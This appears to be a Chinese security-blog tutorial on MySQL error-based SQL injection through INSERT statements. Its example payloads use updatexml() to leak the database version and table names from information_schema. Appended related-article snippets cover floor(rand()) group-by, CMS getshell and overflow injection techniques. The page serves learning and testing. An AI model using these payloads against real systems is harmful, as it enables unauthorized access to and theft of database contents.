使用insert、update和delete报错注入

使用insert注入

1、原理

一般我们写SQL注入的过滤器的话,重点关注的关键词就是select了,因为这个关键字可以从数据库中查询信息。所以一旦这个函数杯过滤,并且无法通过其他方法进行绕过的话,注入工作可能会变得比较困难。

如果在有用户注册的页面的话,后台SQL语句会有类似insert出现,例如

  1. insert into user(id,name,pass) values (1,"tony","123456");

这里是可以进行报错注入的。主要就是用到了两个Mysql对XML提供支持的两个函数UpdateXML()ExtractValue()

以UpdateXML()函数进行举例,这是UpdateXML()函数的参数:

  1. UPDATEXML (XML_document, XPath_string, new_value);
  2. 第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
  3. 第二个参数:XPath_string (Xpath格式的字符串)
  4. 第三个参数:new_value,String格式,替换查找到的符合条件的数据

最关键的就是第二个参数,第二个参数需要符合XPath的格式,一旦不符合的话,就会报错,并且弹出这个不标准的字符串。例如:

  1. INSERT INTO users (id, username, password) VALUES (2, updatexml(1,concat(0x7e,(version())),0), ‘Nervo‘);

中间concat(0x7e,(version())),0)函数将ASCII为0x7e的字符(~)与数据库版本连接,但是这并不符合XPath格式,所以报错。

2、测试

爆出数据库版本

  1. INSERT INTO users (id, username, pass) VALUES (2,updatexml(1,concat(0x7e,(version())),0), ‘Nervo‘);

爆出数据表

  1. INSERT INTO test (id, name, pass) VALUES (2, updatexml(0,concat(0x7e,(SELECT concat(table_name) FROM information_schema.tables WHERE table_schema=database() limit 0,1)),0), ‘Nervo‘);

时间: 2024-10-12 20:59:01

使用insert、update和delete报错注入的相关文章

报错注入分析之updatexml注入

PS:今天元旦,家里打来电话说,今年春节要回老家.心里倍感恐惧.可以清楚的感觉得到父母说话的气息没有底气.大概如同我一样是恐惧吧.加油吧!努力赚钱! 回归正题:updatexml注入 首先了解一下什么是updatexml函数. 前言:相比基于查询的SQL注入,使用insert.update和delete进行SQL注入显得略显另类 参考自:http://www.exploit-db.com/wp-content/themes/exploit/docs/33253.pdf 0x1 准备条件 a. m

SQL报错注入的十余种注入方式

报错注入原理: 由于rand和group+by的冲突,即rand()是不可以作为order by的条件字段,同理也不可以为group by的条件字段. floor(rand(0)*2) 获取不确定又重复的值造成mysql的错误 floor:向下取整,只保留整数部分,rand(0) -> 0~1 本地环境搭建数据库测试注入姿势: mysql> create database sqli; mysql> create table user ( id int(11) not null auto_

【菜鸟学注入】之MySQL报错注入详解

本文转自:http://bbs.blackbap.org/forum.php?mod=viewthread&tid=6483&highlight=mysql%2B报错注入 用SQL注入获取数据库数据,利用的方法可以大致分为联合查询.报错.布尔盲注以及延时注入,通常这些方法都是基于SELECT查询语句中的SQL注射 点来实现的.如果涉及非SELECT查询的注入,我们通常用到的就是mysql注入查询 创建一个test表 USE test; CREATE TABLE test(num int(5

XerCMS-1.0.3代码审计(文件名报错注入后台getshell)

链接:https://share.weiyun.com/6b98e41d036967178e1a21fb88ed340f (密码:YnNY) 文件名报错注入 index.php?m=member&a=upfiles&id=2 在这个文件夹中XerCMS\Modules\member\index.php 前台注册个用户 在头像上传处抓包reperter一下用mysql监控工具 发现有insert数据库操作 分析一下 跟进upfiles函数 public function upfiles()

sql注入--双查询报错注入原理探索

目录 双查询报错注入原理探索 part 1 场景复现 part 2 形成原因 part 3 报错原理 part 4 探索小结 双查询报错注入原理探索 上一篇讲了双查询报错查询注入,后又参考了一些博客,今天来探究其原理 实际上该报错是由于rand(),count(),group by 三个语句联合使用造成的,缺一不可. 上一篇的地址:https://www.cnblogs.com/laoxiajiadeyun/p/10278512.html part 1 场景复现 首先我们新建一个数据库,并创建一

bypass 之报错注入

0x00 前言 前面讲到了bypass 联合查询和盲注,那么这章节就来个报错注入. 0x01 报错注入与函数 此方法是在页面没有显示位,但是echo mysql_error();函数输出了错误信息的时候方能使用.优点是注入速度快,缺点是语句较为复杂,而且只能用limit依次进行猜解.总体来说,报错注入其实是一种公式化的注入方法,主要用于在页面中没有显示位,但是用echo mysql_error();输出了错误信息时使用. 在联合查询查询能爆出数据是因为在页面有显示位,而盲注只能靠页面返回正常或者

mysql报错注入手工方法

以前觉得报错注入有那么一长串,还有各种concat(),rand()之类的函数,不方便记忆和使用,一直没怎么仔细的学习过.这次专门学习了一下,看了一些大牛的总结,得到一些经验,特此记录下来,以备后续巩固复习. 总体来说,报错注入其实是一种公式化的注入方法,主要用于在页面中没有显示位,但是用echo mysql_error();输出了错误信息时使用. 公式具体如下 and(select 1 from(select count(*),concat((select (select (select co

又一种Mysql报错注入

from:https://rdot.org/forum/showthread.php?t=3167 原文是俄文,所以只能大概的翻译一下 这个报错注入主要基于Mysql的数据类型溢出(不适用于老版本的Mysql) mysql> SELECT 18446744073709551610 * 2; ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '(18446744073709551610 * 2)' mysql> SELECT

Mysql报错注入原理分析(count()、rand()、group by)

0x00 疑问 一直在用mysql数据库报错注入方法,但为何会报错? 百度谷歌知乎了一番,发现大家都是把官网的结论发一下截图,然后执行sql语句证明一下结论,但是没有人去深入研究为什么rand不能和order by一起使用,也没彻底说明三者同时使用报错的原理. 0x01 位置问题? select count(*),(floor(rand(0)*2))x from information_schema.tables group by x; 这是网上最常见的语句,目前位置看到的网上sql注入教程,f